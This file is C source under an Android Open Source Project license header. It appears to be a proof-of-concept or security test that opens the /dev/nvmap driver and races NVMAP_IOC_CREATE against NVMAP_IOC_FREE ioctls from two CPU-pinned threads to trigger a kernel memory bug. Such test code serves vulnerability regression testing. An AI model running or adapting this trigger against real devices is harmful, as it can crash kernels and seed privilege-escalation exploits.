1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 18 #include <stdlib.h> 19 #include <errno.h> 20 #include <unistd.h> 21 #include <stdio.h> 22 #include <dirent.h> 23 #include <string.h> 24 #include <sys/stat.h> 25 #include <sys/ioctl.h> 26 #include <stdio.h> 27 #include <string.h> 28 #include <dlfcn.h> 29 #include <sys/time.h> 30 #include <sys/mman.h> 31 #include <sys/syscall.h> 32 #include <sys/resource.h> 33 #include <fcntl.h> 34 #include <pthread.h> 35 #include <unistd.h> 36 #include <sched.h> 37 38 39 struct nvmap_handle_param { 40 __u32 handle; /* nvmap handle */ 41 __u32 param; /* size/align/base/heap etc. */ 42 unsigned long result; /* returns requested info*/ 43 }; 44 45 struct nvmap_create_handle { 46 union { 47 __u32 id; /* FromId */ 48 __u32 size; /* CreateHandle */ 49 __s32 fd; /* DmaBufFd or FromFd */ 50 }; 51 __u32 handle; /* returns nvmap handle */ 52 }; 53 54 #define NVMAP_IOC_MAGIC 'N' 55 #define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle) 56 #define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param) 57 #define NVMAP_IOC_GET_ID _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle) 58 #define NVMAP_IOC_GET_FD _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle) 59 #define NVMAP_IOC_FREE _IO(NVMAP_IOC_MAGIC, 4) 60 61 int g_fd = -1; 62 static pthread_cond_t cond = PTHREAD_COND_INITIALIZER; 63 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; 64 struct nvmap_create_handle* g_allocation = NULL; 65 66 int open_driver() { 67 char* dev_path = "/dev/nvmap"; 68 g_fd = open(dev_path, O_RDWR); 69 if (g_fd < 0) { 70 printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno); 71 } else { 72 printf("[*] open file(%s) succ!\n", dev_path); 73 } 74 return g_fd; 75 } 76 77 void trigger_nvmap_create() { 78 ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation); 79 //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno); 80 } 81 82 void trigger_nvmap_free() { 83 static int data = 1024; 84 ioctl(g_fd, NVMAP_IOC_FREE, data); 85 //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno); 86 } 87 88 void setup_privi_and_affinity(int privi, unsigned long cpu_mask) { 89 setpriority(PRIO_PROCESS, gettid(), privi); 90 printf("[*] setpriority(%d) errno = %d\n", privi, errno); 91 92 /* bind process to a CPU*/ 93 if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) { 94 printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno); 95 } 96 } 97 98 void prepare_data() { 99 void* data = calloc(1, 0x1000); 100 101 g_allocation = (struct nvmap_create_handle*)data; 102 g_allocation->size = 1024; 103 104 mprotect(data, 0x1000, PROT_READ); 105 printf("[*] mprotect, error = %d\n", errno); 106 } 107 static int init = 0; 108 void* race_thread(void* arg) { 109 setup_privi_and_affinity(0, 2); 110 111 int i; 112 while (1) { 113 if (init == 0) { 114 pthread_mutex_lock(&mutex); 115 pthread_cond_wait(&cond, &mutex); 116 pthread_mutex_unlock(&mutex); 117 init = 1; 118 } 119 trigger_nvmap_free(); 120 } 121 } 122 123 int main(int argc, char**argv) { 124 setup_privi_and_affinity(0, 1); 125 if (open_driver() < 0) { 126 return -1; 127 } 128 prepare_data(); 129 pthread_t tid; 130 pthread_create(&tid, NULL, race_thread, NULL); 131 sleep(1); 132 while (1) { 133 if (init == 0) 134 pthread_cond_signal(&cond); 135 trigger_nvmap_create(); 136 } 137 return 0; 138 } 139